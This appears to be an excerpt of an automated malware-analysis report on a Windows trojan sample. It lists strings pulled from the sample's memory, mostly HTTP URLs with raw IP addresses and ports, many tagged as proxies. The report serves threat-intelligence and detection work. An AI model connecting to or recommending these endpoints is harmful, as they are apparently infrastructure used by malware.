Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://219.73.88.167:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.194.189.144:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.194.189.144:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.247.162.70:9990
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.247.162.70:9990://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.247.162.70:9990P
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.248.70.237:9002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.248.70.237:9002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.67.2.2
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.67.2.2://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.67.2.2:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.134.152.75:7302
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.134.152.75:7302://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9156000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.151.181.101:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.151.181.101:8000://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.153.92.39
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA514000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.153.92.39://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.153.92.39:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.153H
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.2.84.42:10800
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.2.84.42:10800://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.211.62.4:1111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.211.62.4:1111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC04D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.225.152.167:24166
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC04D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.225.152.167:24166://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.226.109.229:7302
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.226.109.229:7302://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.230.7.39:9000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.230.7.39:9000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.231.32.80:9002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.231.32.80:9002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.231.32.80:9002x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.6.139.190:9002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.6.139.190:9002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.104.128.205:48678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.104.128.205:48678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.111.18.67
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.111.18.67://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.111.18.67:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.124.130.196:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.124.130.196:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.124.193.114:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.124.193.114:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.124.29.59:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.124.29.59:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.129.38.21:57114
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.129.38.21:57114://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.165.223.139:41541
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.165.223.139:41541://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.220.102.159:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.220.102.159:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.241.144.17:2080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.241.144.17:2080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.243.201.153:9992
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.243.201.153:9992://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.254.119.8:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.254.119.8:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.255.238.159
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.255.238.159://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.255.238.159:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.74.65.84:38051
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.74.65.84:38051://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D06000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.88.167.22:9002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.88.167.22:9002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.95.242.184:4134
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.95.242.184:4134://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEB2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.112.53.2:1025
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.112.53.2:1025://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.113.80.158:9091
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.113.80.158:9091://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.113.89.138:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.113.89.138:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.13.124.24:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.13.124.24:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.18.60.191:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.18.60.191:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.19.111.185
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.19.111.185://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.19.111.185:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCBAD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.197.178.186:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.197.178.186:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA660000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.206.186.87:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.206.186.87:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.215.176.36:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.215.176.36:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.215.177.53:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.215.177.53:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.215.177.57:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.215.177.57:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.247.47.108:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.247.47.108:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.247.47.184:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.247.47.184:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.247.47.239:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.247.47.239:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.247.47.65:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.247.47.65:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.27.144.51
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.27.144.51://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.27.144.51:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.105.170.35:21555
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.105.170.35:21555://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.108.42.154:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.108.42.154:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.108.42.79:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.108.42.79:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.122.184.9:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.122.184.9:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.132.48.1:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.132.48.1:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E1A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.152.40.14:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.152.40.14:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.152.40.15:5050
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.152.40.15:5050://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.19.244.109:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.19.244.109:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.225.72.125:3503
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.225.72.125:3503://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.226.4.102
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.226.4.102://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.226.4.102:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.193.172:2001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.193.172:2001://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.38.198
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8FFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.38.198://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.38.198:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.38.230
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.38.230://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.38.230:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.254.231.55
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.254.231.55://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.254.231.55:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.81.127.247:8118
